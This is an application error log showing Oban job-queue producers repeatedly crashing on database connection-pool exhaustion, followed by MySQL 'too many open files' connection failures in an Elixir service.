[Sun Sep  6 00:44:52.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 806ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:44:40.239063Z], limit: 20, uuid: "ffce777b-6a14-430b-b41e-027ccd86d7fb", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:44:40.239070Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.218809>, refresh_timer: #Reference<0.2525715032.1121189889.218784>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:44:52.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 833ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:44:40.239379Z], limit: 3, uuid: "a1c49240-0a7e-49a3-8894-bedf6fdf6a83", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:44:40.239400Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.218813>, refresh_timer: #Reference<0.2525715032.1077673987.52052>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:44:52.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 815ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:44:40.239910Z], limit: 5, uuid: "03b13aca-ff8b-408f-ab93-ccf8e278ebd8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:44:40.239915Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.52070>, refresh_timer: #Reference<0.2525715032.1077673987.52059>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:44:52.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1055ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:44:40.239414Z], limit: 5, uuid: "1e0f9163-0f97-4d2d-8f4c-11b97321abcf", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:44:40.239420Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.218811>, refresh_timer: #Reference<0.2525715032.1099431938.67638>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:44:52.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1049ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:44:40.239407Z], limit: 50, uuid: "29911cfd-a466-42b5-a028-c18f59d7936f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:44:40.239413Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.218812>, refresh_timer: #Reference<0.2525715032.1077673987.52049>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:44:52.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 813ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:44:40.239467Z], limit: 10, uuid: "b7bd28f2-467e-48b5-84a6-6f73ff72ba56", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:44:40.239471Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.218810>, refresh_timer: #Reference<0.2525715032.1121189889.218807>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:44:53.691000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:44:54.267000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:44:55.830000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:45:01.158000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:45:03.370000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:45:03.681000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:45:03.995000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:45:04.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1018ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:44:52.240309Z], limit: 5, uuid: "7dd8bba8-0f73-4c71-9dc4-f113c2c1170a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:44:52.240315Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.52406>, refresh_timer: #Reference<0.2525715032.1121189889.218985>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:45:04.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1015ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:44:52.240049Z], limit: 50, uuid: "0cbedc80-a690-4541-9571-a25197c7b8c1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:44:52.240055Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.52408>, refresh_timer: #Reference<0.2525715032.1121189889.218988>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:45:04.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 866ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
